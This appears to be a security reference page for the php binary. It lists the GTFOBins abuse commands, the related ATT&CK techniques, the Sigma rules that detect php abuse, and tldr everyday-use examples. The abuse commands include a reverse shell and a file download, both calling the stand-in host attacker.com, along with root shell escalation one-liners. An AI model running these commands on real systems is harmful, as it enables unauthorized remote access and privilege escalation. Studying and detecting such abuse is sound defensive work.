php

PHP command-line interface. tldr-pages

GTFOBins command, download, file-read, file-write, reverse-shell, shell, upload 4 Sigma rules name it 2 ATT&CK techniques 12 documented commands

How php is abused

documented by GTFOBins

command

-r

download T1105 Ingress Tool Transfer

-r

file-read

-r

file-write

-r

reverse-shell T1059.004 Command and Scripting Interpreter: Unix Shell

-r

-i

shell T1059.004 Command and Scripting Interpreter: Unix Shell

-r

-i

shell T1059.004 Command and Scripting Interpreter: Unix Shell

-r

upload

-S

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for php.

12 documented commands

from GTFOBins, each read by the identifier

command unprivileged, with sudo, as SUID

php -r 'echo shell_exec("/path/to/command");'

Identify

command unprivileged, with sudo, as SUID

php -r '$r=array(); exec("/path/to/command", $r); print(join("\n",$r));'

Identify

command unprivileged, with sudo, as SUID

php -r '$p = array(array("pipe","r"),array("pipe","w"),array("pipe", "w"));$h = @proc_open("/path/to/command", $p, $pipes);if($h&&$pipes){while(!feof($pipes[1])) echo(fread($pipes[1],4096));while(!feof($pipes[2])) echo(fread($pipes[2],4096));fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($h);}'

Identify

download unprivileged, with sudo, as SUID

php -r '$c=file_get_contents("http://attacker.com/path/to/input-file"); file_put_contents("/path/to/output-file", $c);'

Identify

file-read unprivileged, with sudo, as SUID

php -r 'readfile("/path/to/input-file");'

Identify

file-write unprivileged, with sudo, as SUID

php -r 'file_put_contents("/path/to/output-file", "DATA");'

Identify

reverse-shell unprivileged, with sudo, as SUID

php -r '$sock=fsockopen("attacker.com",12345);exec("/bin/sh -i 0<&3 1>&3 2>&3");'

Identify

shell unprivileged, with sudo, as SUID, with capabilities

php -r 'system("/bin/sh -i");'

Identify

With capabilities:

php -r 'posix_setuid(0); system("/bin/sh -i");'

shell unprivileged, with sudo, as SUID, with capabilities

php -r 'passthru("/bin/sh -i");'

Identify

With capabilities:

php -r 'posix_setuid(0); passthru("/bin/sh -i");'

shell unprivileged, with sudo, as SUID, with capabilities

php -r '$h=@popen("/bin/sh -i","r"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }'

Identify

With capabilities:

php -r 'posix_setuid(0); $h=@popen("/bin/sh -i","r"); if($h){ while(!feof($h)) echo(fread($h,4096)); pclose($h); }'

shell unprivileged, with sudo, as SUID, with capabilities

php -r 'pcntl_exec("/bin/sh");'

Identify

As SUID:

php -r 'pcntl_exec("/bin/sh", ["-p"]);'

With capabilities:

php -r 'posix_setuid(0); pcntl_exec("/bin/sh");'

upload unprivileged, with sudo, as SUID

php -S 0.0.0.0:80

Identify

None of the 12 commands the identifier reads trips a Sigma process-creation rule. These commands are from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for php. The identifier reads the line of each that runs php.

What detects it

Sigma process creation rules

highPotential PHP Reverse Shell@d4ns4n_

mediumSuspicious Installer Package Child ProcessSohan G (D4rkCiph3r)

mediumSuspicious Browser Child Process - MacOSSohan G (D4rkCiph3r)

mediumSuspicious Execution via macOS Script EditorTim Rauch (rule), Elastic (idea)

T1059.004Command and Scripting Interpreter: Unix Shell

T1105Ingress Tool Transfer

Everyday use

from tldr-pages, CC BY 4.0

Parse and execute a PHP script

php path/to/fileIdentify

Check syntax on (i.e. lint) a PHP script

php --syntax-check path/to/fileIdentify

Run PHP interactively

php --interactiveIdentify

None of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.

php

How php is abused

12 documented commands

What detects it

Everyday use

Other programs abused for command